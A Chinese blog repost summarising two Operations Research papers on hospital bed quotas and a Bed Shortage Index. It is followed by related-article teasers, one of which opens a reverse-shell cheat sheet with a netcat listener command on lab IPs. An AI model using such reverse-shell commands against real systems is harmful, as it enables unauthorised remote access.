服务运营 |精选:床位知多少?医院调度的几种建模方法(下)

在这里插入图片描述

编者按:

住院流程(Inpatient Flow)是一种通过协调和优化医院内部流程,以提高患者入院至出院期间的效率和质量的方法。住院流程通常通过医院内部信息系统和协同工作流程进行管理,以确保患者得到及时的诊断、治疗和护理。办理住院的病人主要有以下几个渠道来源: (1)预约住院(2)非预约住院(3)病人转院。

住院流程优化问题往往涉及包括床位分配,预约住院病人分配,急诊病人分配等一系列问题。考虑到问题的复杂性, 近年来住院流程优化在医疗优化领域备受关注。与上一期不同,本期涉及到的论文主要分别医院床位管理这个小的主题。

  1. Meng, Fanwen, et al. “A robust optimization model for managing elective admission in a public hospital.” Operations https://doi.org/10.1287/opre.2015.1423
  2. Xie, Jingui, et al. “The analytics of bed shortages: Coherent metric, prediction, and optimization.” Operations Research 71.1 (2023): 23-46. https://doi.org/10.1287/opre.2021.2231

A robust optimization model for managing elective admission in a public hospital.

https://doi.org/10.1287/opre.2015.1423

Problem

医院紧急住院病人的到来往往是紧急的,未经计划的并且优先级较高(需要尽快入院),这对医院的床位安排调度有很大影响。考虑到医院床位资源的稀缺性,(在新加坡),医院往往对择期入院采取配额管理来减少床位不足的发生。当紧急入院病人数量较少时,择期入院的床位配额就较高,反之,择期入院的床位配额就较少。本文提出了一个分布式鲁棒优化模型来确定每日择期入院的床位配额。

Method

本文采用分布式鲁棒优化建立了一个确定每日择期入院的床位配额的混合整数规划模型。 模型的决策变量是床位配额(整数变量)。 考虑到每日住院病人数量的不确定性,作者引入了两个随机变量 p ~ \tilde{p} p~ a ~ \tilde{a} a~来表示每日紧急(择期)入院的实际病人数量并建立了一个均值支持模糊集 。为了求解这个问题,作者推导得出了一个该模型的二阶锥问题(SOCP)等价形式来解决这个模型。

Summary of results

作者执行了一个时间长度为一年的仿真实验来检测本文提出的优化模型的效果。 下图2表明,相较于确定性的配额策略和均匀分配,使用本文提出的床位分配模型不容易产生床位短缺。
在这里插入图片描述

表7给出了本文提出的优化模型相较于确定性的床位配额策略和均匀分配的表现提升。具体来说,在整体床位短缺方面,优化模型相较于确定性配额策略提供了超过24%的改进,而相较于均匀配额策略则提高了53%。
在这里插入图片描述

Why recommends?
  1. 本文提出了一个分布式鲁棒优化模型用来确定医院的床位配额。具体来说,本文重点关注了病人住院分配问题中的每日优化问题。

  2. 与之前的模型中采用的鲁棒优化建模方法不同,本文采用了分布式鲁棒优化的建模方法并在实验中展示了这一建模方法的优越性。

The analytics of bed shortages: Coherent metric, prediction, and optimization

https://doi.org/10.1287/opre.2021.2231

Problem

床位短缺通常对患者满意度和医疗结果产生负面影响。在实践中,医疗管理者通常使用床位占用率(BORs)作为一个度量来了解床位利用情况。 作者提出了床位短缺指数(BSI),用于系统性的度量床位短缺风险。床位短缺指数BSI便于计算,不需要额外的假设或近似。在此基础上,作者还提出了基于BSI规划床位容量的优化模型。 第一个模型在限制BSI的基础上最大化择期住院的床位配额,第二个模型通过最小化稳态BSI来确定最佳的排班策略。

Method
  1. 本文基于Aumann and Serrano (2008)提出的风险指数(riskiness index) ,定义了一个床位短缺指数(Bed Shortage Index) 。作者将BSI与其他床位短缺的描述性指标比较并描述了 BSI的性质和实际意义。Theorem 4展示了,在已知医院床位数量 κ \kappa κ,病人到达率 λ \lambda λ和床位配额 η \eta η的情况下如何计算BSI.

在这里插入图片描述

  1. 作者建立了多个模型,使用BSI来度量床位短缺风险并确定床位配额。 模型的决策变量有(1)择期入院的床位配额(2)床位总数的分配(紧急病人/择期入院)(3) 紧急入院病人的到达率。 考虑到的约束条件有:(1)医院的病床数量(2)其他医疗资源的数量限制(3)医疗服务的连续性。

a. 第一个模型的目标函数是最大化择期入院的病人数量(以BSI为约束)。模型可以转化为一个纯线性规划。

b. 第二个模型的目标函数是最小化床位短缺风险。具体来说,作者最小化计划时间范围内的最差BSI.

Summary of results

文中提供了丰富的实践对比结果,笔者在此着重强调以下几个方面:

  1. BSI的有效性。下表2展示了根据仿真实验中的实际病床短缺情况计算的BOR和BSI的数值。可以看出BOR和BSI具有一致性。

在这里插入图片描述

  1. 和排队论模型的对比。本文提出的优化模型允许在病床数量短缺的情况下接受患者,这在本质上其实是一个具有无限资源容量的负载模型。而在传统的排队论模型中,资源数量是有限的,病人在床位已满的情况下必须在队列中等待。 以此为出发点, 作者对比了本文提出的模型和以排队论为基础的床位配额模型。结果表明,同样的实验背景下,排队论模型中, 病床短缺数量的期望值更大(队列期望更大)。这个例子说明,本文提出的模型可能比排队模型更具适用性。

  2. BOR和BSI的对比。下图8对比了使用BSI和BOR在优化模型的差异。结果表明,使用BSI,每周择期入院的床位配额数量更少(与理论结果吻合),并且产生床位短缺的风险更低。
    在这里插入图片描述

Why recommends?
  1. 文中提出了一个新的病床短缺指标BSI,对这个指标进行了描述并以此为基础建立了优化模型
  2. 同样是床位配额问题, 这篇文中提供了与前文不同的视角。

参考文献:

  1. Meng, Fanwen, et al. “A robust optimization model for managing elective admission in a public hospital.” Operations

  2. Xie, Jingui, et al. “The analytics of bed shortages: Coherent metric, prediction, and optimization.” Operations Research 71.1 (2023): 23-46.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/182602.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue组件开发:工具提示组件的实现方法

在Web开发当中,工具提示(Tooltip)是一种常用的用户界面组件,用于向用户提供额外的信息或说明。它通常以文本形式显示在鼠标悬停或点击某个元素时,为用户提供更详细的内容展示。在本文中,我们将探讨如何使用…

异常数据检测 | Python实现基于高斯概率分布的异常检测

异常数据检测 | Python实现基于高斯概率分布的异常检测 高斯分布也称为正态分布。它可以被用来进行异常值检测,不过我们首先要假设我们的数据是正态分布的。不过这个假设不能适应于所有数据集。但如果我们做了这种假设那么它将会有一种有效的方法来发现异常值。 Scikit-Learn的…

AI PC专题:AI PC深入变革PC产业

今天分享的是AI系列深度研究报告:《AI PC专题:AI PC深入变革PC产业》。 (报告出品方:西南证券研究发展中心) 报告共计:30页 AI PC将深入变革PC产业  从出货量看,PC整体呈现周期性的特征。2…

微信小程序+中草药分类+爬虫+torch

1 介绍 本项目提供中草药数据集,使用gpu、cpu版本的torch版本进行训练,将模型部署到后端flask,最后使用微信小程序进行展示出来。 数据爬虫可以参考:http://t.csdnimg.cn/7Olus 项目中的爬虫代码,并且本项目提供相同的…

using meta-SQL 使用元SQL (3)

%FirstRows Syntax %FirstRows(n) Description The %FirstRows meta-SQL variable is replaced by database-specific SQL syntax to optimize retrieval of n rows. Depending on the database, this variable optimizes: FirstRows meta-SQL变量被特定于数据库的SQL语法…

反弹shell命令速查

反弹Shell-Linux 【监听端】centos: 192.168.35.152 【被控端】kali: 192.168.35.128# 监听端执行 [root@localhost ~]# nc -vvl 7777 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::7777 Ncat: Listening on 0.0.0.0:7777bash ┌──(root@kali)-[/h…

基于YOLOv5的人群计数系统设计系统

欢迎大家点赞、收藏、关注、评论啦 ,由于篇幅有限,只展示了部分核心代码。 文章目录 一项目简介系统概述系统功能核心技术系统架构系统优势 二、功能三、系统四. 总结  总结 一项目简介 基于YOLOv5的人群计数系统设计是一个非常有趣且具有挑战性的项目…

离散时间信号的分析(数字信号处理实验1-2)

前言:该系列实验均使用matlab完成,实验课程为《数字信号处理》 文章目录 一.题目二.实验目的三.实验仪器四.实验原理实验所用的matlab函数解析离散时间信号实验原理: 五.实验步骤六.实验代码及实验结果完整代码1.线性卷积代码2.循环卷积运算…

(亲测有效)解决windows11无法使用1500000波特率的问题

大家好!我是编码小哥,欢迎关注,持续分享更多实用的编程经验和开发技巧,共同进步。 1、问题描述 从图1可以看出串口是正常的,安装的驱动是CP210xVCPInstaller_x64.exe,但是从图2可以看出,串口拒…

HarmonyOS ArkTS 使用DevEco Studio高效开发(十三)

1、快速开始 打开IDE后,在IDE上边栏有个Help入口,里面有一个Quick Start快速开始入口,点击进去就会进入到快速开始面板。在这个面板中会有一些快速入门的实验指导和一些常用的链接。快速开始相当于一个收藏夹,把最常用的一些学习…

苍穹外卖--添加购物车

购物车数据是关联用户的,在表结构中,我们需要记录,每一个用户的购物车数据是哪些菜品列表展示出来的既有套餐,又有菜品,如果用户选择的是套餐,就保存套餐ID(setmeal_id),如果用户选择的是菜品&a…

git stash save untracked not staged

git stash save untracked not staged 如图 解决方案: git stash save "tag标记信息" --include-untracked或者: git stash save -u "tag标记信息" git stash clear清空本地暂存代码_zhangphil的博客-CSDN博客文章浏览阅读486次。…

代码的并发问题

List 在遍历时候删除元素 为list添加元素&#xff0c;通过for或者通过foreach删除都存在删除异常&#xff0c;在捕获异常的时候注意异常信息的简化消息传递&#xff0c;容易造成异常错误的简化 Testpublic void testException(){List<Integer> list new ArrayList<…

【业务实战】mysql数据库中<标签tag功能>一般是怎么设计的?

【业务实战】mysql数据库中<标签tag功能>一般是怎么设计的? 在 MySQL 数据库中设计标签系统&#xff0c;可以采用以下两种常见的设计方案&#xff1a; 标签关联表&#xff1a; 创建一个标签表&#xff0c;用于存储所有可用的标签。该表可以包含字段如标签ID&#xff08…

银河麒麟高级服务器操作系统V10安装达梦数据库管理系统DM8——单实例

一、介绍 之前介绍过供个人学习在VMware虚拟机上安装银河麒麟高级服务器操作系统V10&#xff0c;有兴趣的可以去看看&#xff08;银河麒麟V10安装&#xff09;&#xff0c;本次主要学习在银河麒麟V10上安装达梦数据库-DM8。DM8是达梦公司在总结DM系列产品研发与应用经验的基础…

Unity优化篇:对于unity DrawCall/Mesh/纹理压缩/内存等方面的常规调试和优化手段

对于Unity的DrawCall、Mesh、纹理压缩、内存等方面的常规调试和优化手段&#xff0c;我都有一定的了解。以下是一些常见的优化手段&#xff1a; 减少DrawCall&#xff1a;这是提高性能的关键。尽可能合并相同的材质和纹理&#xff0c;使用LOD&#xff08;Levels of Detail&…

记录一次YAMLException异常

记录一次YAMLException异常 ✅作者简介&#xff1a;大家好&#xff0c;我是Leo&#xff0c;热爱Java后端开发者&#xff0c;一个想要与大家共同进步的男人&#x1f609;&#x1f609; &#x1f34e;个人主页&#xff1a;Leo的博客 &#x1f49e;当前专栏&#xff1a; 报错以及B…

C语言——深入理解指针(3)

目录 1. 字符指针 2. 数组指针 2.1 数组指针变量 2.2 数组指针变量的初始化 3.二维数组传参&#xff08;本质&#xff09; 4. 函数指针 4.1 函数指针变量的创建 4.2 函数指针的使用 4.3 typedef 5. 函数指针数组 6. 转移表&#xff08;函数指针数组的使用&#xff…

Opencv颜色追踪

废话不多说直接上代码&#xff01;&#xff01; # 这是一个示例 Python 脚本。 import cv2 import numpy as npdef track_object():# 打开摄像头外接cap cv2.VideoCapture(0)while True:# 读取摄像头帧# ret&#xff08;Return Value&#xff09;是一个布尔值&#xff0c;表示…

@RequestMapping详解:请求映射规则

目录 请求-相应模式&#xff1a; 设置请求映射规则RequestMapping POST 请求&#xff1a; GET 请求 请求-相应模式&#xff1a; 前端作为客户端向后端发送请求&#xff08;请求可以分为请求头和请求体两部分&#xff0c;请求头包含了一些元数据信息&#xff0c;如请求方式、…